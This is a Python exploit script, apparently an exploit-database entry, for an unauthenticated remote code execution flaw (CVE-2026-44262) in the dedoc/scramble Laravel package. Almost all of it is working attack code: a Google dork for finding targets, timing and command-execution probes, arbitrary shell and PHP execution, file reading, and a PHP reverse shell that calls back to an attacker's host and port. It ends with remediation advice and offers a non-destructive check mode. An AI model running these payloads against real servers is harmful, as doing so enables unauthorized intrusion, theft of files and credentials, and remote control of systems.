1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
| #!/usr/bin/env python3
# Exploit Title: dedoc/scramble - Unauthenticated Remote Code Execution (CVE-2026-44262)
# Google Dork: inurl:/docs/api.json "dedoc/scramble"
# Date: 2026-05-07
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Vendor Homepage: https://scramble.dedoc.co
# Software Link: https://github.com/dedoc/scramble
# Version: >=0.13.2, <0.13.22
# Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows
# CVE: CVE-2026-44262
# Reference: https://github.com/joshuavanderpoll/CVE-2026-44262
# Advisory: https://github.com/advisories/GHSA-4rm2-28vj-fj39
#
# Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression()
# lets attacker overwrite Scramble's internal $code variable with
# arbitrary PHP via a query parameter on /docs/api.json.
import argparse
import json
import re
import readline
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
DOCS_PATH = "/docs/api.json"
SLEEP_SECONDS = 4
def parse_docs_url(raw: str) -> tuple[str, str]:
if not raw.startswith(("http://", "https://")):
raw = "http://" + raw
raw = raw.split("#")[0].rstrip("/")
parsed = urllib.parse.urlparse(raw)
base = f"{parsed.scheme}://{parsed.netloc}"
path = parsed.path if parsed.path and parsed.path != "/" else "/docs/api"
docs_path = path + ".json"
return base, docs_path
PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt"
PROOF_FILE_WIN = "C:\\Windows\\Temp\\scramble_rce_proof.txt"
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
P = "\033[95m"
B = "\033[1m"
X = "\033[0m"
REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})"
DEFAULT_TIMEOUT = 15.0
_ua = DEFAULT_UA
_timeout = DEFAULT_TIMEOUT
_target_os = "unknown"
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
def print_banner():
print(f"{P}{B}")
print(r" _____ _____ ___ __ ___ __ _ _ _ _ ___ __ ___ ")
print(r" / __\ \ / / __|_|_ ) \_ )/ / ___| | || | |_ )/ /|_ )")
print(r" | (__ \ V /| _|___/ / () / // _ \___|_ _|_ _/ // _ \/ / ")
print(r" \___| \_/ |___| /___\__/___\___/ |_| |_/___\___/___|")
print(f"{X}")
print(f"{P}{B}{REPO}{X}\n")
def fetch(url: str, timeout: float | None = None):
req = urllib.request.Request(url, headers={"User-Agent": _ua})
t = timeout if timeout is not None else _timeout
try:
with urllib.request.urlopen(req, context=CTX, timeout=t) as r:
raw = r.headers
headers = {k.lower(): v for k, v in raw.items()}
# get_all handles duplicate Set-Cookie headers
headers["set-cookie-list"] = raw.get_all("Set-Cookie") or []
return r.status, r.read().decode(errors="replace"), headers
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace"), {}
except urllib.error.URLError as e:
return None, str(e.reason), {}
def info(msg):
print(f"{Y}[*]{X} {msg}")
def ok(msg):
print(f"{G}[+]{X} {msg}")
def err(msg):
print(f"{R}[-]{X} {msg}")
def proc(msg):
print(f"{C}[@]{X} {msg}")
def normalize_target(target: str) -> str:
if not target.startswith(("http://", "https://")):
target = "http://" + target
return target.rstrip("/")
def set_docs_path(docs_url: str) -> str:
"""Parse docs UI URL, set global DOCS_PATH, return base URL."""
global DOCS_PATH
base, DOCS_PATH = parse_docs_url(docs_url)
return base
def print_cookie_findings(cookies: list[str]):
for raw in cookies:
name = raw.split("=")[0].strip()
value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else ""
if name.upper() == "XSRF-TOKEN":
info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}")
elif "session" in name.lower():
info(f"Session cookie '{name}': {G}{value_part}{X}")
else:
info(f"Cookie '{name}': {value_part}")
def check_accessible(base: str) -> bool:
url = base + DOCS_PATH
proc(f"Probing {url}")
status, body, headers = fetch(url)
if status is None:
err(body)
return False
if status == 200 and '"paths"' in body:
ok(f"HTTP {status} — docs accessible")
if server := headers.get("server"):
info(f"Server: {G}{server}{X}")
if powered := headers.get("x-powered-by"):
info(f"X-Powered-By: {G}{powered}{X}")
if cookies := headers.get("set-cookie-list"):
print_cookie_findings(cookies)
return True
err(f"HTTP {status} — not accessible or wrong target")
return False
def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]:
"""
Single spec fetch — prints all discovered target info.
Returns (vuln_params, version).
"""
_, body, _ = fetch(base + DOCS_PATH)
vuln_hits = []
version = None
# Laravel rule keywords that'd never appear as legit query param defaults
rule_pattern = re.compile(
r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I
)
try:
data = json.loads(body)
except json.JSONDecodeError:
return vuln_hits, version
info_block = data.get("info", {})
version = info_block.get("version")
if title := info_block.get("title"):
info(f"API title: {G}{title}{X}")
if version:
info(f"API version: {G}{version}{X}")
if servers := data.get("servers"):
for s in servers:
info(f"Server URL: {G}{s.get('url', '?')}{X}")
paths = data.get("paths", {})
if paths:
info(f"Endpoints discovered ({len(paths)}):")
for path, methods in paths.items():
method_list = ", ".join(m.upper() for m in methods)
print(f" {Y}{method_list}{X} {path}")
for path, methods in paths.items():
for method_data in methods.values():
for param in method_data.get("parameters", []):
if param.get("in") != "query":
continue
schema = param.get("schema", {})
default = str(schema.get("default", ""))
if rule_pattern.match(default) or "|" in default:
vuln_hits.append((path, param["name"]))
return vuln_hits, version
def build_attack_url(base: str, param: str, payload: str) -> str:
return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload})
def capture_output(base: str, param: str, payload: str) -> str | None:
"""
Send a PHP payload and capture output from the response body.
Output from print/echo appears before the JSON — everything before '{'.
"""
_, body, _ = fetch(build_attack_url(base, param, payload))
json_start = body.find("{")
if json_start == -1:
return body.strip() or None
output = body[:json_start].strip()
return output or None
def probe_timing(base: str, param: str) -> bool:
proc(f"Timing probe — sleep({SLEEP_SECONDS}) via param '{param}'")
t0 = time.monotonic()
fetch(base + DOCS_PATH)
baseline = time.monotonic() - t0
info(f"Baseline: {baseline:.2f}s")
attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})")
info(f"Payload URL: {attack_url}")
t0 = time.monotonic()
fetch(attack_url, timeout=SLEEP_SECONDS + _timeout)
elapsed = time.monotonic() - t0
delay = elapsed - baseline
info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)")
triggered = delay >= (SLEEP_SECONDS * 0.75)
if triggered:
ok(f"VULNERABLE — response delayed ~{SLEEP_SECONDS}s")
else:
err("Not triggered (no significant delay)")
return triggered
def probe_exec(base: str, param: str) -> bool:
proc(f"Command exec probe via param '{param}'")
cmd = "whoami" if is_windows() else "id 2>&1"
output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))")
if output:
ok("VULNERABLE — command output captured:")
print(f"\n {B}{output}{X}\n")
return True
err("No command output in response (not vulnerable via this vector)")
return False
def detect_os(base: str, param: str):
global _target_os
raw = capture_output(base, param, "print(php_uname('s'))")
if not raw:
return
lower = raw.strip().lower()
if "windows" in lower:
_target_os = "windows"
elif "linux" in lower:
_target_os = "linux"
elif "darwin" in lower:
_target_os = "darwin"
else:
_target_os = raw.strip()
info(f"Target OS: {G}{_target_os}{X}")
def is_windows() -> bool:
return _target_os == "windows"
def proof_file() -> str:
return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX
def shell_binary() -> str:
return "cmd.exe" if is_windows() else "/bin/sh"
def print_output_block(output: str):
print(f"\n{B}{'─' * 65}{X}")
print(output)
print(f"{B}{'─' * 65}{X}\n")
def run_command(base: str, param: str, cmd: str):
proc(f"Executing: {cmd}")
# 2>&1 merges stderr into stdout so errors show up in output
cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1"
output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))")
if output is not None:
print_output_block(output)
else:
err("No output (command may have failed silently)")
def run_code(base: str, param: str, code: str):
proc("Executing raw PHP code")
# closure makes multi-statement code a single eval-able expression
wrapped = f"(function(){{ {code} }})()"
output = capture_output(base, param, wrapped)
if output is not None:
print_output_block(output)
else:
err("No output returned")
def run_read_file(base: str, param: str, path: str):
proc(f"Reading file: {path}")
output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))")
if output is not None:
ok(f"Contents of {path}:")
print_output_block(output)
else:
err("No output — file may not exist or not readable")
def run_reverse_shell(base: str, param: str, lhost: str, lport: int):
"""
PHP eval-loop reverse shell — no bash or busybox required.
Connects back to lhost:lport and executes PHP code sent over the socket.
"""
info(f"Starting listener on your end:")
print(f"\n {B}nc -lvnp {lport}{X}\n")
proc(f"Sending reverse shell payload to {lhost}:{lport}")
shell = shell_binary()
# proc_open pipes shell stdin/stdout/stderr directly to the socket
payload = (
f"(function(){{"
f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);"
f"if(!$s)return;"
f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);"
f"if($p)proc_close($p);"
f"fclose($s);"
f"}})()"
)
# fire and forget — connection hangs until shell is done
fetch(build_attack_url(base, param, payload), timeout=3600)
def run_check(base: str, skip_os_detect: bool = False):
"""Non-breaking check — timing probe only, no command execution."""
if not check_accessible(base):
err("Docs not accessible.")
return False
print()
proc("Analyzing OpenAPI spec...")
print()
vuln_params, _ = analyze_spec(base)
print()
if not vuln_params:
err("No vulnerable parameters detected in spec")
return False
ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
for path, pname in vuln_params:
print(f" {Y}{path}{X} → param '{B}{pname}{X}'")
print()
_, param = vuln_params[0]
if not skip_os_detect:
detect_os(base, param)
print()
return probe_timing(base, param)
def print_header(base: str):
print(f"\n{B}{'=' * 65}{X}")
print(f"{B} GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE checker{X}")
print(f" Target: {C}{base}{X}")
print(f"{B}{'=' * 65}{X}\n")
def print_summary(base: str, param: str, timing: bool, exec_: bool):
print(f"{B}{'=' * 65}{X}")
print(f"{B} SUMMARY{X}")
print(f"{B}{'=' * 65}{X}")
print(f" Target: {C}{base}{X}")
print(f" Vuln param: {param}")
print(f" Timing probe: {'%sTRIGGERED%s' % (G, X) if timing else 'clean'}")
print(f" Exec probe: {'%sTRIGGERED%s' % (G, X) if exec_ else 'clean'}")
vulnerable = timing or exec_
if vulnerable:
print(f"\n {R}{B}Verdict: *** VULNERABLE *** (RCE confirmed){X}")
print(f"\n {Y}Remediation:{X}")
print(f" {B}1. Patch (recommended){X}")
print(" composer require dedoc/scramble:^0.13.22")
print(f" {B}2. Restrict docs access{X}")
print(" Add RestrictedDocsAccess middleware in config/scramble.php:")
print(" 'middleware' => ['web', RestrictedDocsAccess::class]")
print(f" {B}3. Disable docs in production{X}")
print(" Remove Scramble::routes() from AppServiceProvider or")
print(" wrap registration in: if (app()->isLocal()) { ... }")
print(f" {B}4. Block at web server level{X}")
print(" Deny access to /docs and /docs/api.json for external IPs")
print()
print(f" {Y}⭐ If this tool helped you, consider starring the repo: {B}{Y}{REPO}{X}")
else:
print(f"\n {G}Verdict: Not exploitable via this vector{X}")
print(f"{B}{'=' * 65}{X}\n")
return vulnerable
def main():
global _ua, _timeout, _target_os, DOCS_PATH
parser = argparse.ArgumentParser(description="GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE")
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("--target", help="Docs UI URL (e.g. https://host/docs/api#/) — script derives the .json endpoint automatically")
target_group.add_argument("--targets", metavar="FILE", help="File with one docs UI URL per line")
parser.add_argument("--docs-path", metavar="PATH", help="Override the JSON endpoint path (e.g. /api/openapi.json)")
parser.add_argument("--check", action="store_true", help="Safe non-breaking check only (timing probe, no command execution)")
parser.add_argument("--command", metavar="CMD", help="Execute a shell command and print output")
parser.add_argument("--code", metavar="PHP", help="Execute raw PHP code and print output")
parser.add_argument("--read-file", metavar="PATH", help="Read a file from the target filesystem")
parser.add_argument("--shell", action="store_true", help="Start a PHP eval reverse shell (requires --lhost and --lport)")
parser.add_argument("--lhost", metavar="HOST", help="Listener host for reverse shell")
parser.add_argument("--lport", metavar="PORT", type=int, help="Listener port for reverse shell")
parser.add_argument("--os", choices=["windows", "linux", "darwin"], metavar="OS",
help="Force target OS (windows/linux/darwin) — skips auto-detection. "
"Affects shell binary (cmd.exe vs /bin/sh), proof file path, and exec probe command.")
parser.add_argument("--useragent", default=DEFAULT_UA, help="Custom User-Agent string")
parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT, metavar="SECONDS", help="Request timeout in seconds (default: 15)")
args = parser.parse_args()
|
